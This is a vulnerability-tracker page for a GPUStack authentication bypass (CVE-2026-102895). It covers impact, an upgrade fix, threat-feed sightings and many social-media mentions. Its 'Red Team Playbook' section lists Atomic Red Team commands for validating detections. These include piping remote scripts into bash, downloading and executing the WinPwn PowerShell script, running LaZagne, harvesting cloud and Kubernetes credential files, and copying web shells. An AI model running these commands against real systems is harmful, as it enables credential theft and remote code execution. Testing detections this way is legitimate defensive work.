CVE-2026-102895
Overview
This vulnerability is an authentication bypass caused by improper validation of request source IP addresses in gpustack/api/auth.py's get_current_user function. The root cause lies in the client_ip_getter accepting same-host reverse proxy peers or client-supplied X-GPUStack-Real-IP headers, allowing remote requests to be misidentified as originating from the localhost (127.0.0.1). The affected component is the authentication mechanism within GPUStack versions prior to 2.2.0, specifically when force_auth_localhost is set to false (default).
Vulnerability Description
GPUStack is an open-source GPU cluster manager for AI model serving and GPU instance provisioning. Prior to 2.2.0, get_current_user in gpustack/api/auth.py treated a loopback request source as the built-in administrator when force_auth_localhost was false, which was the default. A remote request could appear to originate from 127.0.0.1 because client_ip_getter accepted a same-host reverse proxy peer or a client-supplied X-GPUStack-Real-IP loopback value. The bypass allowed unauthenticated administrative access, including user and model changes, persistent administrator API-key creation, disclosure of worker and cloud-provider secrets, and code execution through POST /v2/inference-backends/from-yaml. Exploitation was observed in the wild against a 2.1.1 deployment. This issue is fixed in version 2.2.0.
Impact
An attacker can gain unauthenticated administrative access to GPUStack, enabling modification of users and AI models, creation of persistent administrator API keys, and disclosure of sensitive worker and cloud-provider secrets. Additionally, the attacker can execute arbitrary code remotely via the inference backend API. No authentication or user interaction is required, and the attacker can exploit this remotely by spoofing the request source IP. This results in full system compromise, data breaches, and potential disruption of AI model serving services.
Solution
Upgrade GPUStack to version 2.2.0 or later, where the authentication bypass is fixed. Refer to the official GitHub security advisory GHSA-gj9m-f8ph-pmhr for detailed patch information and commit 53f42a6a553542974396d16a4ff6b12bcbedb48d for the code changes. No vendor workarounds are documented; applying the update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gpustack | Gpustack | All |
cpe:2.3:a:gpustack:gpustack:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed with 36 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
57 mentions from 37 sources in the last 7 days BuzzFactor 97 / 100
-
social bsky.app @stridingtech.bsky.social 2026-11-10 16:07 UTCCVE-2026-102895 details an improper authentication flaw in GPUStack. Our remediation guide provides essential hardening procedures. #Cybersecurity #GPU https://stridingtech.com/archives/8038Open source
-
social infosec.exchange @AAKL 2026-11-10 15:37 UTCCISA added more announcements and updates late yesterday. - Press release: CISA Announces Enhanced Reporting Form for Cyber Incidents https://www. cisa.gov/news-events/news/cisa -announces-enhanced-reporting-form-cyber-incidents Incident R…Open source
-
social bsky.app @thecybermind.co 2026-11-10 14:52 UTC(CISA CS-MAN) The Cyber Mind CSUITE Brief: CVE-2026-102895 – GPUStack Improper Authentication Vulnerability inclusion of GPUStack's CVE-2026-102895 in the KEV catalog demands immediate executive risk oversight, asset integrity protocols, a…Open source
-
social bsky.app @thecybermind.co 2026-11-10 14:49 UTC(CISA TS+SOC) The Cyber Mind TSUITE Brief: – GPUStack Improper Authentication Vulnerability CISA's addition of GPUStack's CVE-2026-102895 to the KEV catalog requires urgent detection engineering, API monitoring, and perimeter restriction..…Open source
-
code gist.github.com alon710 2026-11-10 13:30 UTC# CVE-2026-102895: CVE-2026-102895: Unauthenticated Administrative Access and Remote Code Execution via Loopback Spoofing in GPUStack > **CVSS Score:** 9.8 > **Published:** 2026-11-09 > **Full Report:** https://cvereports.com/reports/CVE-2…Open source
-
news the420.in 2026-11-10 13:04 UTCHackers Target Flaws in OpenSSH, GPUStack, FreeSWITCH, and IBM Aspera Faspex - The 420.inOpen source
-
social bsky.app @abijita.bsky.social 2026-11-10 11:05 UTCGPUStack Auth Bypass Added to CISA KEV CISA has added GPUStack CVE-2026-102895 to its Known Exploited Vulnerabilities catalog after developers confirmed in-the-wild exploitation.Open source
-
news securityweek.com 2026-11-10 09:42 UTCIBM Aspera Faspex, SignalWire FreeSwitch Vulnerabilities Exploited in Attacks - SecurityWeekOpen source
-
social bsky.app @vulnidx-jp.bsky.social 2026-11-10 08:55 UTC【日本語の公式情報】CVE-2026-102895 GPUStackにおける複数の脆弱性 CISA の悪用確認(11/9)の後、JVN が日本語の公式情報を公開 https://jvndb.jvn.jp/ja/contents/2026/JVNDB-2026-042607.html #脆弱性 #GPUStackOpen source
-
news esecurityplanet.com 2026-11-10 08:54 UTCCISA Adds Four Exploited Flaws to KEV, Sets Nov. 12 Patch Deadline - eSecurity PlanetOpen source
-
social bsky.app @pmloik.bsky.social 2026-11-10 08:47 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 156 interactions CVE-2026-83844: 140 interactions CVE-2026-123158: 75 interactions Top 3 CVE for yesterday: CVE-2026-102895: 14 interactions CVE-2026-98432: 12 interactions CVE-2026-123158: 11 int…Open source
-
social infosec.exchange @116769913619325742 2026-11-10 08:17 UTC🔴 EXPLOITED GPUStack, an open-source GPU cluster manager, has an exploited admin bypass (CVE-2026-102895): a same-host reverse proxy makes every visitor admin. Now in CISA KEV. Upgrade to 2.2.2, then revoke unknown API keys. https:// suriq…Open source
-
social bsky.app @suriq.io 2026-11-10 08:16 UTC🔴 EXPLOITED GPUStack, an open-source GPU cluster manager, has an exploited admin bypass (CVE-2026-102895): a same-host reverse proxy makes every visitor admin. Now in CISA KEV. Upgrade to 2.2.2, then revoke unknown API keys.Open source
-
social bsky.app @infonewscyber.bsky.social 2026-11-10 07:05 UTC☀️ Le point cyber du 10/11 76 infos en 24 h dont 7 critiques ⚠️ CVE-2026-123218 activement exploitée : IBM Aspera… ⚠️ CVE-2026-102895 activement exploitée… ⚠️ CVE-2026-123158 activement exploitée : OpenBSD… 🔗 https://infonewscyber.fr #Cybe…Open source
-
social bsky.app @arttonews.com 2026-11-10 07:01 UTCCISA直接点名:4个“已被黑客用上”的漏洞上黑名单!11/12前不修等着被打Open source
-
news thehackernews.com 2026-11-10 06:31 UTCCISA Warns of Active Exploitation of OpenSSH, GPUStack, FreeSWITCH, and IBM Flaws - The Hacker NewsOpen source
-
social bsky.app @threatspotai.bsky.social 2026-11-10 06:30 UTC🚨 CISA KEV Alert CVE-2026-102895: ⚠️ CVE-2026-102895: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 | EPSS: 0.3% Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-102895-gpustack-…Open source
-
social bsky.app @cybowl.bsky.social 2026-11-10 06:14 UTC🔴 Exploitation confirmée (CISA KEV, ajouts du 09/11) · 3 • GPUStack CVE-2026-102895, CVSS 9.8 • SignalWire FreeSwitch CVE-2026-116779, CVSS 9.8 • IBM Aspera Faspex CVE-2026-123218, CVSS 9.8Open source
-
social bsky.app @stackurity.ai 2026-11-10 05:15 UTCCISA lists CVE-2026-102895 in GPUStack as exploited. A same-host reverse proxy is enough to get unauthenticated admin. Upgrade the gpustack package to 2.2.0 and rotate the secrets it holds. stackurity.ai/blog/gpustack-cve-2026-...Open source
-
social bsky.app @xploitdigest-kev.bsky.social 2026-11-10 04:25 UTCDo you run GPUStack? CISA lists CVE-2026-102895 as exploited (added 9 Nov 2026). Can it reach you? Over a network, with no login and no click. CVSS 9.8. Plain-English breakdown: xploitdigest.com/kev/CVE-2026-102895 #GPUStack #CyberSecurity…Open source
-
social infosec.exchange @117520238006264481 2026-11-10 04:25 UTCDo you run GPUStack? CISA lists CVE-2026-102895 as exploited (added 9 Nov 2026). Can it reach you? Over a network, with no login and no click. CVSS 9.8. Plain-English breakdown: https:// xploitdigest.com/kev/CVE-2026- 102895 # GPUStack # C…Open source
-
social infosec.exchange @117564362928327035 2026-11-10 04:15 UTCNew on the Stackurity blog: GPUStack CVE-2026-102895: exploited auth bypass, how to fix it https:// stackurity.ai/blog/gpustack-cv e-2026-102895-exploited-auth-bypass/ # infosec # CVE # patchmanagementOpen source
-
social bsky.app @cyfar.ca 2026-11-10 04:01 UTC~Cisa~ CISA added four actively exploited vulnerabilities to its KEV Catalog: GPUStack, SignalWire FreeSWITCH, OpenBSD OpenSSH, and IBM Aspera Faspex, requiring... - IOCs: CVE-2026-102895, CVE-2026-116779 - #ExploitedVulnerability #PatchMa…Open source
-
news shattered.io 2026-11-10 03:59 UTCCISA KEV: 4 Exploited Flaws, Federal Deadline Nov. 12 - shattered.ioOpen source
-
social bsky.app @unnchain.bsky.social 2026-11-10 03:46 UTCGPUStack(GPU上でAIモデルを配信する管理ツール)を使っている人へ。 CVE-2026-102895(CVSS 9.8):同じサーバーのリバースプロキシ経由のアクセスを「ローカル」と見なし、ログインなしで管理者にしてしまう欠陥。悪用が確認され、CISAが11/9にKEVへ追加。 2.2.0で修正。SAMLの別欠陥CVE-2026-102894も直る2.2.2以降へ。管理者APIキーや保存した秘密情報も確認を。 https://github.com/gpustack…Open source
-
social bsky.app @cyberhub.blog 2026-11-10 02:37 UTC📌 CVE-2026-102895 - GPUStack is an open-source GPU cluster manager for AI model serving and GPU instance provisioning. Prior to 2.2.0, get_current_user in gpustack/api/au... https://www.cyberhub.blog/cves/CVE-2026-102895Open source
-
social bsky.app @securityonline.bsky.social 2026-11-10 00:00 UTCCISA KEV Catalog adds CVE-2026-123158, CVE-2026-116779, CVE-2026-123218, and CVE-2026-102895 after attackers exploit these four flaws in the wild. #CISA #OpenSSH #FreeSWITCH #Cybersecurity #InfoSecOpen source
-
social infosec.exchange @cyberseckyle 2026-11-09 21:32 UTCCISA added four CVEs to its KEV catalog on Nov. 9 based on exploitation evidence: GPUStack CVE-2026-102895, FreeSWITCH CVE-2026-116779, OpenSSH CVE-2026-123158 and IBM Aspera Faspex CVE-2026-123218. OpenSSH was previously covered; this is…Open source
-
social bsky.app @ninjaintelgroup.bsky.social 2026-11-09 21:15 UTC🚨 NEW on CISA KEV — exploited in the wild GPUStack GPUStack: GPUStack Improper Authentication Vulnerability CVE-2026-102895 · patch by 2026-11-12 🔗 https://ninjasignal.ninja/intel/cve/CVE-2026-102895 #KEV #cybersecurity #infosecOpen source
-
social bsky.app @cisa-feed-onblue.bsky.social 2026-11-09 20:34 UTCLatest post from CISAOpen source
-
social bsky.app 2026-11-09 20:23 UTC🚨 CVE-2026-102895 gpustack gpustack CVSS 9.8 / EPSS 0.33% / KEV ✅ TL;DR: GPUStack is an open-source GPU cluster manager for AI model serving and GPU instance provisioning. Prior to 2.2.0, get_current_user in… https://cvesentinel.com/report…Open source
-
social bsky.app 2026-11-09 20:23 UTC🚨 CVE-2026-102895 gpustack gpustack CVSS 9.8 / EPSS 0.33% / KEV ✅ TL;DR: GPUStack is an open-source GPU cluster manager for AI model serving and GPU instance provisioning. Prior to 2.2.0, get_current_user in… https://cvesentinel.com/report…Open source
-
social mastodon.social @RedPacketSecurity 2026-11-09 20:23 UTCCVE Alert: CVE-2026-102895 - gpustack - gpustack - https://www. redpacketsecurity.com/cve-aler t-cve-2026-102895-gpustack-gpustack/ # OSINT # ThreatIntel # CyberSecurity # cve -2026-102895 # gpustack #Open source
-
social bsky.app @alt.pds.lefht.cc 2026-11-09 19:15 UTC5. CVE-2026-102895 · 9 people 🔥 🟥 Critical 9.8 · gpustack GPUStack: Authentication bypass via trusted loopback source (reverse-proxy TCP peer or X-GPUStack-Real-IP header) grants unauthenticated adminOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-09 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-123158 · 36 people 🔥 2. CVE-2026-19868 · 28 people 🔥 3. CVE-2026-98432 · 14 people 4. CVE-2026-83844 · 12 people 5. CVE-2026-102895 · 9 people 🔥 🔥 = on CISA's Known Exploited list · d…Open source
-
social bsky.app @threatroundup.bsky.social 2026-11-09 19:08 UTCCVE-2026-102895 (GPUStack) just landed on CISA's exploited list, CVSS 9.8. GPUStack is an open-source GPU cluster manager for AI model serving and GPU instance provisioning. No public exploit reported yet. #KEV #infosec threatroundup.com/c…Open source
-
social bsky.app @runbooklab.bsky.social 2026-11-09 18:28 UTCGPUStack CVE-2026-102895 is in CISA KEV since 9 Nov, due 12 Nov. Before 2.2.0 a remote request can get the built-in admin. Do this: upgrade every GPUStack server to 2.2.0+, then review admin API keys. Check: pip show gpustack runbooklabhq.…Open source
-
social infosec.exchange @117202824925377048 2026-11-09 18:14 UTCPlaceholder for future CISA blog post: https://www. cisa.gov/news-events/alerts/20 26/11/09/cisa-adds-three-known-exploited-vulnerabilities-catalog KEV Catalog already shows 3 new CVEs: CVE-2026-116779 SignalWire FreeSwitch Code Injection…Open source
-
social bsky.app @axnews.bsky.social 2026-11-09 18:11 UTC⚠️ Exploited in the wild: CVE-2026-102895 GPUStack Improper Authentication Vulnerability Added to CISA KEV · Critical 9.8 Impacted if: gpustack < 2.2.0 https://ax-news.com/cve/CVE-2026-102895 #CVE #KEV #infosecOpen source
-
social bsky.app @chuiho.net 2026-11-09 18:10 UTC🚨速報[警戒]GPUStack CVE-2026-102895 悪用確認、CISA が KEV に追加 AI モデル運用基盤 GPUStack の 2.2.0 未満に、ログインなしで管理者になれる欠陥(CVE-2026-102895、CVSS 9.8)。実環境での悪用を受け CISA が KEV に追加。 https://chuiho.net/posts/gpustack-cve-2026-102895-kev-auth-bypass/ #GPUStack #CVE2026…Open source
-
social bsky.app @vulnidx-jp.bsky.social 2026-11-09 17:55 UTC【悪用確認】CVE-2026-102895 GPUStack Improper Authentication Vulnerability GPUStack CISA 追加 11/9・対応期限 11/12 https://nvd.nist.gov/vuln/detail/CVE-2026-102895 #脆弱性 #KEV #GPUStackOpen source
-
social infosec.exchange @117524993192219894 2026-11-09 17:50 UTCZero-day · Newly listed by CISA: GPUStack GPUStack Improper Authentication Vulnerability What to do: Install the vendor's security update. If there isn't one yet, apply the vendor's workaround, or stop using the product until it's fixed. C…Open source
-
social bsky.app @patchsonar.com 2026-11-09 17:50 UTCZero-day · Newly listed by CISA: GPUStack GPUStack Improper Authentication Vulnerability What to do: Install the vendor's security update. If there isn't one yet, apply the vendor's workaround, or stop using the product until… https://patc…Open source
-
social infosec.exchange @AAKL 2026-11-09 17:36 UTCCISA has added three vulnerabilities to the catalogue. - CVE-2026-116779: SignalWire FreeSwitch Code Injection Vulnerability https://www. cve.org/CVERecord?id=CVE-2026- 116779 - CVE-2026-123158: OpenBSD OpenSSH Unexpected Status Code or Re…Open source
-
social infosec.exchange @117529250753467560 2026-11-09 17:30 UTC⚠️ FAILLE CRITIQUE CVE-2026-102895 activement exploitée : authentification incorrecte dans GPUStack 🔗 https:// infonewscyber.fr/info/cve-2026 -102895-activement-exploitee-authentification-incorrecte-dans-a4fa5d886e281372 # GPUStack # ZeroD…Open source
-
social bsky.app @infonewscyber.bsky.social 2026-11-09 17:30 UTC⚠️ FAILLE CRITIQUE CVE-2026-102895 activement exploitée : authentification incorrecte dans GPUStack 🔗 https://infonewscyber.fr/info/cve-2026-102895-activement-exploitee-authentification-incorrecte-dans-a4fa5d886e281372 #GPUStack #ZeroDay #…Open source
-
social bsky.app @eventmonitor.bsky.social 2026-11-09 17:21 UTCCVE-2026-102895: GPUStack Improper Authentication Vulnerability https://cyber.eventmonitor.net/incident/EM-20261109-OXT9/cve-2026-102895-gpustack-improper-authentication-vulnerability/ #news #cybersecurityOpen source
-
social bsky.app @malice.ai 2026-11-09 17:02 UTCThe critical flaw (CVSS 9.8) allows unauthenticated administrative access and code execution; GPUStack 2.2.0 fixes it, and CISA set a November 12 due date.Open source
-
advisory vulnerability.circl.lu 2026-11-09 17:00 UTCOpen source
-
social bsky.app @cvesentinel.bsky.social 2026-11-09 16:46 UTC🛑 CVE-2026-102895 CVSS 9.8 / EPSS 0.33% / KEV ✅ TL;DR: GPUStack is an open-source GPU cluster manager for AI model serving and GPU instance provisioning. Prior to 2.2.0, get_current_user in gpustack/api/auth.py treated a… https://cvesentin…Open source
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-102895 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/gpustack/gpustack/security/advisories/GHSA-gj9m-f8ph-pmhr |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/gpustack/gpustack/pull/5346 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/gpustack/gpustack/commit/53f42a6a553542974396d16a4ff6b12bcbedb48d |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/gpustack/gpustack/releases/tag/v2.2.0 |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102895 |